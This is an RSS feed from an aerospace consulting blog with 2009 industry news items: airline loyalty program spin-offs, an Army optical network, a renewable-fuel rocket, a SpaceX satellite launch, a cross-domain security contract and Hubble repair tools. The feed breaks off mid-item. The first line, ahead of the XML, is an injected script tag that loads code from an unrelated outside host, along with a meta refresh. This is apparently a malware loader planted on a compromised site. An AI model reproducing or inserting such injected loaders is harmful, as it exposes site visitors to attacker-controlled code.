<script src='http://turnitupnow.net/?rnd=4914%2Fdeef%2Ferawtfos-evitciderp%2Fgat%2Fmoc.cgaiu.golb'></script><meta http-equiv='refresh' content='0;url=http://blog.uiagc.com/tag/predictive-software/feed/'><!--<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Aerospace News and Views &#187; predictive software</title>
	<atom:link href="http://blog.uiagc.com/tag/predictive-software/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.uiagc.com</link>
	<description>UI Aerospace &#38; Government Consulting</description>
	<lastBuildDate>Mon, 15 Mar 2010 11:29:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Can Airline Loyalty Programs Generate Income for Struggling Airlines?</title>
		<link>http://blog.uiagc.com/2009/07/31/can-airline-loyalty-programs-generate-income-for-struggling-airlines/</link>
		<comments>http://blog.uiagc.com/2009/07/31/can-airline-loyalty-programs-generate-income-for-struggling-airlines/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 11:50:46 +0000</pubDate>
		<dc:creator>Rasheed Baqai</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[aerospace operations]]></category>
		<category><![CDATA[aerospace project management]]></category>
		<category><![CDATA[aia]]></category>
		<category><![CDATA[AS9100]]></category>
		<category><![CDATA[avionics]]></category>
		<category><![CDATA[chief scientists]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[dashboard executive reporting]]></category>
		<category><![CDATA[dashboard metrics]]></category>
		<category><![CDATA[engineers]]></category>
		<category><![CDATA[f-22]]></category>
		<category><![CDATA[flight hours]]></category>
		<category><![CDATA[larry lawson]]></category>
		<category><![CDATA[lockheed martin]]></category>
		<category><![CDATA[mission assurance]]></category>
		<category><![CDATA[NDIA]]></category>
		<category><![CDATA[northrop grumman]]></category>
		<category><![CDATA[predictive modeling]]></category>
		<category><![CDATA[predictive software]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[raptor]]></category>
		<category><![CDATA[risk assessment]]></category>
		<category><![CDATA[san diego]]></category>
		<category><![CDATA[scm process]]></category>
		<category><![CDATA[six sigma software]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[software cost estimation]]></category>
		<category><![CDATA[standards]]></category>
		<category><![CDATA[supplier chain management]]></category>
		<category><![CDATA[supplier performance]]></category>
		<category><![CDATA[supplier performance evaluation]]></category>
		<category><![CDATA[supplier performance rating]]></category>
		<category><![CDATA[supplier rating system]]></category>
		<category><![CDATA[supplier review]]></category>
		<category><![CDATA[supplier score card]]></category>
		<category><![CDATA[supplier scorecards]]></category>
		<category><![CDATA[supply chain management]]></category>
		<category><![CDATA[supply chain software]]></category>
		<category><![CDATA[tax credits]]></category>

		<guid isPermaLink="false">http://blog.uiagc.com/?p=329</guid>
		<description><![CDATA[As airlines face new challenges seemingly every day now, the temptation exists for them to bolster their financials by selling off portions of the operations and reaping the benefits. One interesting asset that has garnered attention in recent years is the airline frequent flyer program.]]></description>
			<content:encoded><![CDATA[<p><span>As airlines face new challenges seemingly every day now, the        temptation exists for them to bolster their financials by selling off        portions of the operations and reaping the benefits.</span> <span>One        interesting asset that has garnered attention in recent years is the        airline frequent flyer program.</span></p>
<p><span>A new white paper – “Spinning Off Frequent Flyer Programs in        Turbulent Times” – issued by the loyalty marketing expert Evert de Boer,        senior director, Global Airline Practice, Carlson Marketing, explores        the pros and cons of spinning off frequent flyer programs in light of        the current economic climate.</span></p>
<p><span><strong>Advantages</strong></span></p>
<p><span>According to de Boer, there are six good reasons for selling off        an airline’s frequent flyer program.</span></p>
<ol>
<li> <span>Raise Capital</span></li>
<li> <span>Unlock Value</span></li>
<li> <span>Improve Margins</span></li>
<li> <span>Accelerate Revenue Growth</span></li>
<li> <span>Achieve Economies of Scale</span></li>
<li> <span>Improve CRM (customer relationship management) and Data          Analytical Capabilities</span></li>
</ol>
<p><span><strong>Disadvantages</strong></span></p>
<p><span>Of course, if there were only good reasons, everyone would do it.</span> <span>He cites seven cautions as well.</span></p>
<ol>
<li> <span>Program Delivery considering how intertwined the program is in          the airline operations</span></li>
<li> <span>New Owners May Have a Short-term View</span></li>
<li> <span>Unpredictability of Future Events</span></li>
<li> <span>Capital Gain is a One-off</span></li>
<li> <span>Imbalance of Power Between the Frequent Flyer Program and the          Airline</span></li>
<li> <span>Impact of Global Alliances</span></li>
<li> <span>Current Liabilities</span></li>
</ol>
<p><span><strong>Additional Considerations</strong></span></p>
<p><span>The current economic downturn adds another set of wrinkles to be        evaluated and their impact debated based on the individual airline’s        situation.</span></p>
<ul>
<li> <span>Less Capital Available to Buy the Program</span></li>
<li> <span>Less Travel and Lower Consumer Spending</span></li>
<li> <span>Higher Incidence Rate of Credit Card Defaults and Lower Credit          Ratings</span></li>
<li> <span>Reduction in Network Size</span></li>
<li> <span>More Miles Being Awarded, Fewer Miles Being Redeemed</span></li>
<li> <span>Increased Opportunity for Arbitrage</span></li>
<li> <span>Less Appetite for Adjustments to the Balance Sheet</span></li>
<li> <span>Potential Partners Become More Wary</span></li>
</ul>
<p><span><strong>Conclusions</strong></span></p>
<p><span>As the economy improves around the world, serious consideration of        spinning off frequent flyer programs will once again be a hot topic of        conversation. De Boer identifies likely carriers as those with “large        legacies with a dominate program in a large and homogenous home market.”</span> <span>Unlikely candidates are “airlines that dominate a small home        market and serve a high percentage of transfer traffic through their        respective hubs.”</span></p>
<div class="tradevibes_linkdiv"><a class="tradevibes_show_widget" href="http://www.tradevibes.com/company/profile/uiagc">UIAGC</a></div>
<p><script src="http://widget.tradevibes.com/widget/uiagc" type="text/javascript"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.uiagc.com/2009/07/31/can-airline-loyalty-programs-generate-income-for-struggling-airlines/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Optical Transport Network Gets Completed in Germany</title>
		<link>http://blog.uiagc.com/2009/07/29/optical-transport-network-gets-completed-in-germany/</link>
		<comments>http://blog.uiagc.com/2009/07/29/optical-transport-network-gets-completed-in-germany/#comments</comments>
		<pubDate>Wed, 29 Jul 2009 11:47:22 +0000</pubDate>
		<dc:creator>Rasheed Baqai</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[aerospace operations]]></category>
		<category><![CDATA[aerospace project management]]></category>
		<category><![CDATA[aia]]></category>
		<category><![CDATA[AS9100]]></category>
		<category><![CDATA[avionics]]></category>
		<category><![CDATA[chief scientists]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[dashboard executive reporting]]></category>
		<category><![CDATA[dashboard metrics]]></category>
		<category><![CDATA[engineers]]></category>
		<category><![CDATA[f-22]]></category>
		<category><![CDATA[flight hours]]></category>
		<category><![CDATA[larry lawson]]></category>
		<category><![CDATA[lockheed martin]]></category>
		<category><![CDATA[mission assurance]]></category>
		<category><![CDATA[NDIA]]></category>
		<category><![CDATA[northrop grumman]]></category>
		<category><![CDATA[predictive modeling]]></category>
		<category><![CDATA[predictive software]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[raptor]]></category>
		<category><![CDATA[risk assessment]]></category>
		<category><![CDATA[san diego]]></category>
		<category><![CDATA[scm process]]></category>
		<category><![CDATA[six sigma software]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[software cost estimation]]></category>
		<category><![CDATA[standards]]></category>
		<category><![CDATA[supplier chain management]]></category>
		<category><![CDATA[supplier performance]]></category>
		<category><![CDATA[supplier performance evaluation]]></category>
		<category><![CDATA[supplier performance rating]]></category>
		<category><![CDATA[supplier rating system]]></category>
		<category><![CDATA[supplier review]]></category>
		<category><![CDATA[supplier score card]]></category>
		<category><![CDATA[supplier scorecards]]></category>
		<category><![CDATA[supply chain management]]></category>
		<category><![CDATA[supply chain software]]></category>
		<category><![CDATA[tax credits]]></category>

		<guid isPermaLink="false">http://blog.uiagc.com/?p=327</guid>
		<description><![CDATA[LGS announced today it had successfully completed the European Dense Wave Division Multiplexed – Optical Transport Network (DWDM-OTN) for the U.S. Army.]]></description>
			<content:encoded><![CDATA[<p>LGS<strong> </strong>announced today it had successfully        completed the European Dense Wave Division Multiplexed – Optical        Transport Network (DWDM-OTN) for the U.S. Army.</p>
<p>This project, valued at more than $35 million, caps off a three and a        half year effort to design, deploy and system test an installation        information infrastructure in Europe that will link the forward-deployed        soldiers to worldwide Command and Control (C2) and information systems.</p>
<p>The project was managed by the U.S Army’s Product Manager Defense        Communications Systems Europe (PM DCS -E) located at Funari Barracks in        Mannheim, Germany. PM DCS-E is a subordinate organization to PM Network        Service Center (PM NSC) and Program Executive Office Enterprise        Information Systems (PEO EIS). The U.S. Army’s 5th Signal command will        have operations and maintenance responsibility for this new optical        network in Germany.</p>
<p>“We are always working to find new, better and more effective ways to        give the warfighter the best capabilities and solutions possible,” said        LTC Joseph Dupont. “As we continue to provide ‘Everything Over IP’ in        Europe, we needed a more robust network capable of supporting real time        services and unified capabilities such as Voice over IP, IP video        streaming and conferencing. DWDM provides that robust network.”</p>
<p>The DWDM-OTN Network project, awarded in the spring of 2006, consists of        three DWDM rings spanning some 2,100 kilometers connecting 15 access        locations supporting Army installations throughout Germany, Italy and        Belgium. The U.S. Army selected the Alcatel-Lucent Metropolis Wavelength        Services Manager (WSM) for implementing the rings which can provide up        to forty 10 Gbps (gigabits per second) of transmission capacity each.</p>
<p>“This project demonstrates our ability to deliver full-scale        communications solutions that include both products and multi-vendor        network integration services that meet our customers’ needs,” said Ron        Iverson, CEO, LGS. “We work in lock step with our customers throughout        every phase of the project to ensure the network not only meets, but        exceeds their expectations.”</p>
<p>LGS network integration team worked closely with the U.S. Army program        manager to design and implement the middleware portion of the transport        network, which provides Multi-Protocol Label Switching (MPLS) services.        The middleware system consists of MPLS/IP routers, and encryption        devices that connect I3MP, Army Communities of Interests (COINs) and        Legacy networks to the DWDM-OTN network. The middleware network allows        the Army to consolidate or eliminate legacy systems in the region and        continue the transformation from a TDM to IP network centric        architecture.</p>
<p>LGS responsibilities also included designing and implementing a        state-of-the-art secured out-of-band (OOB) management system that allows        an alternate capability to securely configure all OTN network elements,        troubleshoot and resolve network problems.</p>
<div class="tradevibes_linkdiv"><a class="tradevibes_show_widget" href="http://www.tradevibes.com/company/profile/uiagc">UIAGC</a></div>
<p><script src="http://widget.tradevibes.com/widget/uiagc" type="text/javascript"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.uiagc.com/2009/07/29/optical-transport-network-gets-completed-in-germany/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Renewable Jet-Fueled Rocket Approaches the Sound Barrier</title>
		<link>http://blog.uiagc.com/2009/07/27/renewable-jet-fueled-rocket-approaches-the-sound-barrier/</link>
		<comments>http://blog.uiagc.com/2009/07/27/renewable-jet-fueled-rocket-approaches-the-sound-barrier/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 11:44:50 +0000</pubDate>
		<dc:creator>Rasheed Baqai</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[aerospace operations]]></category>
		<category><![CDATA[aerospace project management]]></category>
		<category><![CDATA[aia]]></category>
		<category><![CDATA[AS9100]]></category>
		<category><![CDATA[avionics]]></category>
		<category><![CDATA[chief scientists]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[dashboard executive reporting]]></category>
		<category><![CDATA[dashboard metrics]]></category>
		<category><![CDATA[engineers]]></category>
		<category><![CDATA[f-22]]></category>
		<category><![CDATA[flight hours]]></category>
		<category><![CDATA[larry lawson]]></category>
		<category><![CDATA[lockheed martin]]></category>
		<category><![CDATA[mission assurance]]></category>
		<category><![CDATA[NDIA]]></category>
		<category><![CDATA[northrop grumman]]></category>
		<category><![CDATA[predictive modeling]]></category>
		<category><![CDATA[predictive software]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[raptor]]></category>
		<category><![CDATA[risk assessment]]></category>
		<category><![CDATA[san diego]]></category>
		<category><![CDATA[scm process]]></category>
		<category><![CDATA[six sigma software]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[software cost estimation]]></category>
		<category><![CDATA[standards]]></category>
		<category><![CDATA[supplier chain management]]></category>
		<category><![CDATA[supplier performance]]></category>
		<category><![CDATA[supplier performance evaluation]]></category>
		<category><![CDATA[supplier performance rating]]></category>
		<category><![CDATA[supplier rating system]]></category>
		<category><![CDATA[supplier review]]></category>
		<category><![CDATA[supplier score card]]></category>
		<category><![CDATA[supplier scorecards]]></category>
		<category><![CDATA[supply chain management]]></category>
		<category><![CDATA[supply chain software]]></category>
		<category><![CDATA[tax credits]]></category>

		<guid isPermaLink="false">http://blog.uiagc.com/?p=325</guid>
		<description><![CDATA[Renewable jet propellant-8 (JP-8) fuel developed and produced by the Energy &#038; Environmental Research Center (EERC) at the University of North Dakota was successfully flown in a rocket built by Flometrics, a product engineering company specializing in fluid dynamics and thermodynamics based in San Diego, California. The fuel burn was so successful that the rocket approached Mach 1 (the speed of sound) and reached an altitude of about 20,000 feet. The launch was conducted on a hot summer day in the Mojave Desert, home to numerous aviation and rocket tests throughout history, just outside of San Diego.]]></description>
			<content:encoded><![CDATA[<p>Renewable jet propellant-8 (JP-8) fuel developed and produced by the        Energy &amp; Environmental Research Center (EERC) at the University of North        Dakota was successfully flown in a rocket built by Flometrics, a        product engineering company specializing in fluid dynamics and        thermodynamics based in San Diego, California. The fuel burn was so        successful that the rocket approached Mach 1 (the speed of sound) and        reached an altitude of about 20,000 feet. The launch was conducted on a        hot summer day in the Mojave Desert, home to numerous aviation and        rocket tests throughout history, just outside of San Diego.</p>
<p>“The demonstration worked very well, and we were pleased with the fuel.        In fact, it performed better than expected,” said Steve Harrington,        President of Flometrics. “The initial launch was a little explosive,        which we call a hard-start, but it ended up working very well. The        rocket appeared to have reached the transonic regime close to Mach 1.        The data are currently being evaluated for more details on this exciting        flight,” he said.</p>
<p>The EERC’s fuel was created from completely renewable crop oils, such as        canola and soybeans. Developed through a variety of existing contracts,        the fuel was vigorously tested at the Wright–Patterson Air Force Base        Air Force Research Laboratory (AFRL), a cosponsor of the test along with        the EERC and Flometrics, and meets all of the screening criteria for        JP-8 aviation fuel, a petroleum-based fuel widely used by the U.S.        military. The major advantage of the EERC’s renewable fuel is that the        fuel can be designed to meet a wide variety of mission-specific        requirements.</p>
<p>About 8 gallons of fuel was sent to the Flometrics research facilities,        enough for two launches. The rocket used in the launch was originally        built as a test rocket for the Discovery Channel series <em>MythBusters</em>.        The rocket has previously been tested with standard Jet-A fuel and        rocket propellant-1 (RP-1) kerosene, for which the rocket was originally        designed.</p>
<p>“This is a unique opportunity for the EERC’s renewable fuel,” said EERC        Director Gerald Groenewold. “Our fuel is already providing a pathway to        energy security to the U.S. military and now is becoming an option for        ground-to-air missiles and even space flight.” Groenewold added the fuel        burns extremely clean, minimizing the environmental footprint and        substantially reducing upper atmospheric particulate.</p>
<div class="tradevibes_linkdiv"><a class="tradevibes_show_widget" href="http://www.tradevibes.com/company/profile/uiagc">UIAGC</a></div>
<p><script src="http://widget.tradevibes.com/widget/uiagc" type="text/javascript"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.uiagc.com/2009/07/27/renewable-jet-fueled-rocket-approaches-the-sound-barrier/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SpaceX’s Falcon 1 Successfully Delivers RazakSAT Satellite to Orbit</title>
		<link>http://blog.uiagc.com/2009/07/24/spacex%e2%80%99s-falcon-1-successfully-delivers-razaksat-satellite-to-orbit/</link>
		<comments>http://blog.uiagc.com/2009/07/24/spacex%e2%80%99s-falcon-1-successfully-delivers-razaksat-satellite-to-orbit/#comments</comments>
		<pubDate>Fri, 24 Jul 2009 11:56:16 +0000</pubDate>
		<dc:creator>Rasheed Baqai</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[aerospace operations]]></category>
		<category><![CDATA[aerospace project management]]></category>
		<category><![CDATA[aia]]></category>
		<category><![CDATA[AS9100]]></category>
		<category><![CDATA[avionics]]></category>
		<category><![CDATA[chief scientists]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[dashboard executive reporting]]></category>
		<category><![CDATA[dashboard metrics]]></category>
		<category><![CDATA[engineers]]></category>
		<category><![CDATA[f-22]]></category>
		<category><![CDATA[flight hours]]></category>
		<category><![CDATA[larry lawson]]></category>
		<category><![CDATA[lockheed martin]]></category>
		<category><![CDATA[mission assurance]]></category>
		<category><![CDATA[NDIA]]></category>
		<category><![CDATA[northrop grumman]]></category>
		<category><![CDATA[predictive modeling]]></category>
		<category><![CDATA[predictive software]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[raptor]]></category>
		<category><![CDATA[risk assessment]]></category>
		<category><![CDATA[san diego]]></category>
		<category><![CDATA[scm process]]></category>
		<category><![CDATA[six sigma software]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[software cost estimation]]></category>
		<category><![CDATA[standards]]></category>
		<category><![CDATA[supplier chain management]]></category>
		<category><![CDATA[supplier performance]]></category>
		<category><![CDATA[supplier performance evaluation]]></category>
		<category><![CDATA[supplier performance rating]]></category>
		<category><![CDATA[supplier rating system]]></category>
		<category><![CDATA[supplier review]]></category>
		<category><![CDATA[supplier score card]]></category>
		<category><![CDATA[supplier scorecards]]></category>
		<category><![CDATA[supply chain management]]></category>
		<category><![CDATA[supply chain software]]></category>
		<category><![CDATA[tax credits]]></category>

		<guid isPermaLink="false">http://blog.uiagc.com/?p=323</guid>
		<description><![CDATA[SpaceX announced the successful launch of Falcon 1 and delivery of Malaysia’s RazakSAT into the correct orbit.  “This marks another successful launch by the SpaceX team,” said Elon Musk, CEO and CTO of SpaceX. “We are pleased to announce that Malaysia’s RazakSAT, aboard Falcon 1, has achieved the intended orbit.”]]></description>
			<content:encoded><![CDATA[<p>SpaceX announced the successful launch of Falcon        1 and delivery of Malaysia’s RazakSAT into the correct orbit.  “This marks another successful launch by the SpaceX team,” said Elon        Musk, CEO and CTO of SpaceX. “We are pleased to announce that        Malaysia’s RazakSAT, aboard Falcon 1, has achieved the intended orbit.”</p>
<p>Falcon 1, a two-stage, liquid oxygen/rocket-grade kerosene vehicle        designed and manufactured by SpaceX, lifted off Monday, July 13, at 8:35        pm (PDT). Lift off occurred from the Reagan Test Site (RTS) on Omelek        Island at the U.S. Army Kwajalein Atoll (USAKA) in the Pacific Ocean,        approximately 2,500 miles southwest of Hawaii.</p>
<p>RazakSAT was designed and built by Astronautic Technology (M) Sdn Bhd        (ATSB), a pioneer and leader in the design and manufacture of satellites        in Malaysia.</p>
<p>“Our ground systems were able to pick up communication from RazakSAT on        its first pass,” said Norhizam Hamzah, Senior Vice President / Chief        Technical Officer, Space Systems Division, ATSB. “The satellite is        communicating as expected and our team will continue to monitor the data        closely.”</p>
<p>Preliminary data indicates that the RazakSAT, equipped with a high        resolution Medium-Sized Aperture Camera (MAC), achieved the intended        Near-Equatorial Low Earth Orbit (NEqO) at 685 km altitude and a 9 degree        inclination. The payload is expected to provide high resolution images        of Malaysia that can be applied to land management, resource development        and conservation, forestry and fish migration.</p>
<div class="tradevibes_linkdiv"><a class="tradevibes_show_widget" href="http://www.tradevibes.com/company/profile/uiagc">UIAGC</a></div>
<p><script src="http://widget.tradevibes.com/widget/uiagc" type="text/javascript"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.uiagc.com/2009/07/24/spacex%e2%80%99s-falcon-1-successfully-delivers-razaksat-satellite-to-orbit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Air Force Awards Trusted Computer Solutions $2.1 Million Cross Domain Services Contract</title>
		<link>http://blog.uiagc.com/2009/07/22/air-force-awards-trusted-computer-solutions-2-1-million-cross-domain-services-contract/</link>
		<comments>http://blog.uiagc.com/2009/07/22/air-force-awards-trusted-computer-solutions-2-1-million-cross-domain-services-contract/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 11:54:11 +0000</pubDate>
		<dc:creator>Rasheed Baqai</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[aerospace operations]]></category>
		<category><![CDATA[aerospace project management]]></category>
		<category><![CDATA[aia]]></category>
		<category><![CDATA[AS9100]]></category>
		<category><![CDATA[avionics]]></category>
		<category><![CDATA[chief scientists]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[dashboard executive reporting]]></category>
		<category><![CDATA[dashboard metrics]]></category>
		<category><![CDATA[engineers]]></category>
		<category><![CDATA[f-22]]></category>
		<category><![CDATA[flight hours]]></category>
		<category><![CDATA[larry lawson]]></category>
		<category><![CDATA[lockheed martin]]></category>
		<category><![CDATA[mission assurance]]></category>
		<category><![CDATA[NDIA]]></category>
		<category><![CDATA[northrop grumman]]></category>
		<category><![CDATA[predictive modeling]]></category>
		<category><![CDATA[predictive software]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[raptor]]></category>
		<category><![CDATA[risk assessment]]></category>
		<category><![CDATA[san diego]]></category>
		<category><![CDATA[scm process]]></category>
		<category><![CDATA[six sigma software]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[software cost estimation]]></category>
		<category><![CDATA[standards]]></category>
		<category><![CDATA[supplier chain management]]></category>
		<category><![CDATA[supplier performance]]></category>
		<category><![CDATA[supplier performance evaluation]]></category>
		<category><![CDATA[supplier performance rating]]></category>
		<category><![CDATA[supplier rating system]]></category>
		<category><![CDATA[supplier review]]></category>
		<category><![CDATA[supplier score card]]></category>
		<category><![CDATA[supplier scorecards]]></category>
		<category><![CDATA[supply chain management]]></category>
		<category><![CDATA[supply chain software]]></category>
		<category><![CDATA[tax credits]]></category>

		<guid isPermaLink="false">http://blog.uiagc.com/?p=321</guid>
		<description><![CDATA[Trusted Computer Solutions (TCS) announced that the company’s Professional Services Team received a two year $2.1 million contract to support the Air Force’s Cryptologic Systems Group (CPSG), which provides highly-specialized security support for a wide-range of military and non-military agencies. Under the terms of the contract, TCS’ Professional Services Team will provide the following:]]></description>
			<content:encoded><![CDATA[<p>Trusted        Computer Solutions (TCS) announced that the company’s        Professional Services Team received a two year $2.1 million contract to        support the Air Force’s Cryptologic Systems Group (CPSG), which provides        highly-specialized security support for a wide-range of military and        non-military agencies. Under the terms of the contract, TCS’        Professional Services Team will provide the following:</p>
<ul>
<li> Establish and assist the CPSG’s efforts to start a government          sponsored management office and provide the framework and processes to          support cross domain solutions.</li>
<li> Create a lab environment to test and architect cross domain solutions.</li>
<li> Facilitate collaboration and processes to support the Community of          Interest (COI) for cross domain solutions.</li>
</ul>
<p>TCS’ SecureOffice<sup> </sup>Trusted        Gateway (TGS) product and other cross domain solutions will be used        to assist CPSG with the secure transfer of sensitive and classified        information between various networks. The TCS Professional Services Team        will assist the CPSG Management Office in implementing TGS and taking it        through the certification and accreditation (C&amp;A) process.</p>
<p>SecureOffice Trusted Gateway is a cross domain solution that provides a        rapid, multi-directional transfer of data between various security        levels – unclassified, secret, secret releasable, top secret and        sensitive compartmental information (SCI) networks.</p>
<p>“This is a very strategic win for our Professional Services Team,”        stated Ed Hammersla, Chief Operating Officer for TCS. “As the Management        Office and government sponsor for our TGS product, the Air Force will be        taking the lead in managing the C&amp;A process. In addition, this win        supports our strategy to pursue services offerings in the management        consulting area, including management office establishment, process        support and managed services.”</p>
<div class="tradevibes_linkdiv"><a class="tradevibes_show_widget" href="http://www.tradevibes.com/company/profile/uiagc">UIAGC</a></div>
<p><script src="http://widget.tradevibes.com/widget/uiagc" type="text/javascript"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.uiagc.com/2009/07/22/air-force-awards-trusted-computer-solutions-2-1-million-cross-domain-services-contract/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Bal Seal Springs Aid Astronauts in Hubble Repair</title>
		<link>http://blog.uiagc.com/2009/07/20/bal-seal-springs-aid-astronauts-in-hubble-repair/</link>
		<comments>http://blog.uiagc.com/2009/07/20/bal-seal-springs-aid-astronauts-in-hubble-repair/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 11:52:24 +0000</pubDate>
		<dc:creator>Rasheed Baqai</dc:creator>
				<category><![CDATA[Defense Contracts]]></category>
		<category><![CDATA[aerospace operations]]></category>
		<category><![CDATA[aerospace project management]]></category>
		<category><![CDATA[aia]]></category>
		<category><![CDATA[AS9100]]></category>
		<category><![CDATA[avionics]]></category>
		<category><![CDATA[chief scientists]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[dashboard executive reporting]]></category>
		<category><![CDATA[dashboard metrics]]></category>
		<category><![CDATA[engineers]]></category>
		<category><![CDATA[f-22]]></category>
		<category><![CDATA[flight hours]]></category>
		<category><![CDATA[larry lawson]]></category>
		<category><![CDATA[lockheed martin]]></category>
		<category><![CDATA[mission assurance]]></category>
		<category><![CDATA[NDIA]]></category>
		<category><![CDATA[northrop grumman]]></category>
		<category><![CDATA[predictive modeling]]></category>
		<category><![CDATA[predictive software]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[raptor]]></category>
		<category><![CDATA[risk assessment]]></category>
		<category><![CDATA[san diego]]></category>
		<category><![CDATA[scm process]]></category>
		<category><![CDATA[six sigma software]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[software cost estimation]]></category>
		<category><![CDATA[standards]]></category>
		<category><![CDATA[supplier chain management]]></category>
		<category><![CDATA[supplier performance]]></category>
		<category><![CDATA[supplier performance evaluation]]></category>
		<category><![CDATA[supplier performance rating]]></category>
		<category><![CDATA[supplier rating system]]></category>
		<category><![CDATA[supplier review]]></category>
		<category><![CDATA[supplier score card]]></category>
		<category><![CDATA[supplier scorecards]]></category>
		<category><![CDATA[supply chain management]]></category>
		<category><![CDATA[supply chain software]]></category>
		<category><![CDATA[tax credits]]></category>

		<guid isPermaLink="false">http://blog.uiagc.com/?p=319</guid>
		<description><![CDATA[When astronauts embarked on the latest mission to repair the Hubble Space Telescope, Bal Seal Engineering’s canted-coil springs went along for the ride in a set of special tools designed to make the job easier and more efficient.]]></description>
			<content:encoded><![CDATA[<p>When astronauts embarked on the latest mission to repair the Hubble        Space Telescope, Bal Seal Engineering’s canted-coil springs went along        for the ride in a set of special tools designed to make the job easier        and more efficient.</p>
<p>Bal Seal’s small, precision-engineered springs played an important role        in several of the major repair operations conducted during “Servicing        Mission 4,” NASA’s final voyage from the Kennedy Space Center in Cape        Canaveral, Florida, to the famous orbiting telescope. Over the course of        five history-making spacewalks, the crew of the STS-125 <em>Atlantis</em> relied on the simplicity and unique physical properties of the springs        to help their tools work in an environment where failure definitely        wasn’t an option.</p>
<p>One of the more important tools employing Bal Seal springs for grounding        functions during repairs was a “fastener capture plate,” designed by        engineers at Goddard Space Center for NASA. This plate, which was fitted        precisely over a panel covering a failed electronics card, enabled        astronauts to remove and retain 111 tiny screws without losing them or        allowing them to float into the telescope where they could have caused        serious and costly damage. Springs in the plate connection points        grounded the unit to the Hubble.</p>
